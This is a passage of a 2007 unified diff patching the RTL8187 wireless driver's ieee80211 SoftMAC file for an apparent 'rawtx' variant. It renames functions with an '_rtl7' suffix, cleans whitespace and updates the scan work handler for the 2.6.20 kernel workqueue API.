-Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void 